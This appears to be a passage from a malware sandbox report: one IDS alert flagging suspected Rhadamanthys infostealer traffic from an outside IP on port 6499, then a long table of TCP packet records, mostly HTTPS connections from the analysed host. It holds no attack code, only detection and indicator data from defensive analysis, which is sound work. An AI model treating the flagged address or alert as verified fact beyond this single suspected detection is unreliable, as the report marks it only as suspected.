2024-12-16T16:15:09.499004+0100	2854802	ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert	1	162.213.210.250	6499	192.168.2.4	49831	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 16:14:06.431104898 CET	49675	443	192.168.2.4	173.222.162.32
Dec 16, 2024 16:14:07.936568975 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:07.936608076 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:07.936758041 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:07.951837063 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:07.951850891 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:09.564032078 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:09.564141989 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:09.567611933 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:09.567620993 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:09.568065882 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:09.580235004 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:09.627342939 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:12.153923988 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:12.154180050 CET	443	49731	3.6.122.107	192.168.2.4
Dec 16, 2024 16:14:12.154236078 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:12.157665968 CET	49731	443	192.168.2.4	3.6.122.107
Dec 16, 2024 16:14:12.300584078 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:12.300649881 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:12.300733089 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:12.301152945 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:12.301168919 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:13.733666897 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:13.733748913 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:13.737332106 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:13.737346888 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:13.737617970 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:13.738537073 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:13.783340931 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:15.111341953 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:15.111510038 CET	443	49732	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:15.111604929 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:15.111604929 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:15.116338968 CET	49732	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:15.419807911 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:15.419876099 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:15.419980049 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:15.420402050 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:15.420428038 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:16.844928026 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:16.845051050 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:16.845082045 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:16.845168114 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:16.848299026 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:16.848316908 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:16.848705053 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:16.849780083 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:16.891366005 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:17.767460108 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:17.767838001 CET	443	49733	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:17.767927885 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:17.773526907 CET	49733	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:19.785502911 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:19.785572052 CET	443	49735	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:19.785676003 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:19.786303997 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:19.786324978 CET	443	49735	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:21.208479881 CET	443	49735	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:21.246370077 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:21.246400118 CET	443	49735	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:22.337759018 CET	443	49735	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:22.337918043 CET	443	49735	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:22.337963104 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:22.337963104 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:22.498145103 CET	49735	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:22.567770004 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:22.567857027 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:22.567934036 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:23.175129890 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:23.175192118 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:23.245337963 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:23.245367050 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:23.245441914 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:23.245718002 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:23.245738029 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:24.603516102 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:24.604619026 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:24.604665995 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:24.606121063 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:24.606188059 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:24.608047962 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:24.608138084 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:24.608598948 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:24.608617067 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:24.664277077 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:24.664385080 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:24.664396048 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:24.664439917 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:24.670977116 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:24.670983076 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:24.671792030 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:24.672736883 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:24.706255913 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:24.715328932 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:25.585031033 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:25.587049961 CET	443	49738	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:25.587126970 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:25.596296072 CET	49738	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:25.747371912 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:25.747407913 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:25.747474909 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:25.747571945 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:25.747632980 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:25.755739927 CET	49736	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:25.755775928 CET	443	49736	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:26.149759054 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:26.149812937 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:26.150037050 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:26.150751114 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:26.150784969 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:26.271707058 CET	49723	80	192.168.2.4	199.232.210.172
Dec 16, 2024 16:14:26.394498110 CET	80	49723	199.232.210.172	192.168.2.4
Dec 16, 2024 16:14:26.394977093 CET	49723	80	192.168.2.4	199.232.210.172
Dec 16, 2024 16:14:26.598329067 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:26.598386049 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:26.598531961 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:26.598860979 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:26.598879099 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:26.599109888 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:26.605257034 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:26.605269909 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:26.605659008 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:26.605676889 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:26.606379032 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:26.606439114 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:26.606579065 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:26.607014894 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:26.607023954 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:26.607541084 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:26.607567072 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:26.607573986 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:26.608005047 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:26.608016968 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:26.976345062 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:26.976402044 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:26.976481915 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:26.977499008 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:26.977530956 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.292474031 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.292563915 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.292720079 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.293395996 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.293433905 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.358239889 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.358326912 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.358406067 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.359211922 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.359251022 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.402848005 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.402889967 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.402956009 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.403384924 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.403402090 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.571657896 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:27.572042942 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:27.572069883 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:27.573527098 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:27.573601007 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:27.573622942 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:27.573679924 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:27.574928999 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:27.575026035 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:27.575267076 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:27.575284004 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:27.716710091 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:27.773400068 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:27.773466110 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:27.773664951 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:27.804550886 CET	49769	443	192.168.2.4	162.125.69.18
Dec 16, 2024 16:14:27.804572105 CET	443	49769	162.125.69.18	192.168.2.4
Dec 16, 2024 16:14:27.827716112 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.829627037 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.835459948 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.835510969 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.835706949 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.835772038 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.837419987 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.837501049 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.837619066 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.837685108 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.839589119 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.839692116 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.839987993 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.840091944 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.840173960 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:27.840192080 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:27.840357065 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.840374947 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:27.972856998 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:27.993005037 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.190766096 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.191405058 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.191442966 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.195033073 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.195107937 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.196712971 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.196921110 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.197247028 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.243329048 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.255861998 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.255960941 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.256268024 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.256686926 CET	49761	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.256711960 CET	443	49761	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.262705088 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.262805939 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.263003111 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.263272047 CET	49760	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.263313055 CET	443	49760	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.305552959 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.305571079 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.492981911 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.507170916 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.507580042 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.508395910 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.522480011 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.522495985 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.522830009 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.522855043 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.522954941 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.522989035 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.523356915 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.523377895 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.523438931 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.523447037 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.523507118 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.523631096 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.523680925 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.523747921 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.523747921 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.523765087 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.523821115 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.524452925 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.526128054 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.526171923 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.526231050 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.526738882 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.526832104 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.528289080 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.528295994 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.528722048 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.528901100 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.528934956 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.529117107 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.529361963 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.529381037 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.543634892 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.543732882 CET	443	49764	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.543834925 CET	49764	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.560126066 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560158968 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560168028 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560197115 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560216904 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560229063 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560237885 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.560264111 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.560293913 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.560321093 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.573733091 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.578469038 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.578493118 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.580123901 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.580204964 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.598956108 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.598977089 CET	443	49758	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.613235950 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.613395929 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.613681078 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.613713980 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.614933968 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.626622915 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.626718044 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.626965046 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.631668091 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.631691933 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.632106066 CET	49763	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.632133961 CET	443	49763	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.635416985 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.635521889 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.647527933 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.647762060 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.671442986 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.671474934 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.671521902 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.671540022 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.671566010 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.671598911 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.671632051 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.671729088 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.679280043 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.722551107 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.722599030 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.722637892 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.722706079 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.722723007 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.722737074 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.735330105 CET	443	49759	172.217.19.225	192.168.2.4
Dec 16, 2024 16:14:28.735603094 CET	49759	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.745162964 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.745306015 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.745573997 CET	443	49765	172.64.41.3	192.168.2.4
Dec 16, 2024 16:14:28.745757103 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.745810986 CET	49765	443	192.168.2.4	172.64.41.3
Dec 16, 2024 16:14:28.803706884 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:28.803728104 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:28.803726912 CET	49758	443	192.168.2.4	172.217.19.225
Dec 16, 2024 16:14:28.841052055 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.841084003 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.841140985 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.841155052 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.841162920 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.841207027 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.841209888 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.841211081 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.870668888 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870692968 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870729923 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870747089 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870757103 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.870769024 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870788097 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870810032 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.870837927 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.870865107 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.894067049 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.894093990 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.894141912 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.894160986 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.894187927 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.894213915 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.894246101 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.902497053 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.902519941 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.902554989 CET	443	49753	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:28.902627945 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.902627945 CET	49753	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:28.902647972 CET	443	49753	162.125.69.15	192.168.2.4
